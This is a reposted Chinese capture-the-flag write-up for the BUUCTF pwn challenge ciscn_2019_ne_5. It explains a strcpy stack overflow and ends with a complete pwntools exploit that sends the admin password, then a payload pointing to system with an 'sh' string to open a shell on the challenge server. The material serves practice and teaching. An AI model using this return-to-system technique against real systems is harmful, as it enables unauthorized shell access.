当前位置:
首页 >
[BUUCTF-pwn]——ciscn_2019_ne_5
发布时间:2024/4/17
39
豆豆
生活随笔
收集整理的这篇文章主要介绍了
[BUUCTF-pwn]——ciscn_2019_ne_5
小编觉得挺不错的,现在分享给大家,帮大家做个参考.
[BUUCTF-pwn]——ciscn_2019_ne_5
- 题目地址:https://buuoj.cn/challenges#ciscn_2019_ne_5
checksec下
在IDA中,竟然不给我反汇编,第一次碰到.
查了下解决方法,在反汇编失败的地方,单独反汇编就好.
由于最开始的反汇编失败,反汇编的代码可能与实际有些许出入,应该就是反汇编失败的地方,__isoc99_scanf() 函数. 通过验证得到第一个是给s1赋值,第二个是给v3赋值;AddLog()函数里面的应该是给src赋值
思路也就出来了: 在1选项中AddLog()给src赋值, 然后,在4选项,通过strcpy给dest赋值,进行栈溢出的利用.
查看一下,有没有可以利用的字符串,毕竟已经找到了system函数
发现了 ‘sh’ 字符
exploit
from pwn import * context.os='linux' context.arch='i386' context.log_level='debug' p = remote("node3.buuoj.cn",25035) sh_addr = 0x080482ea system_addr = 0x080486B9 p.sendlineafter("Please input admin password:",'administrator') p.sendlineafter("0.Exit\n:",'1') payload = 'a'*(0x48+0x4)+p32(system_addr)+p32(sh_addr)p.sendlineafter("Please input new log info:",payload) p.sendlineafter("0.Exit\n:",'4')p.interactive()总结
以上是生活随笔为你收集整理的[BUUCTF-pwn]——ciscn_2019_ne_5的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: [BUUCTF-pwn]——ciscn_
- 下一篇: [BUUCTF-pwn]——铁人三项(第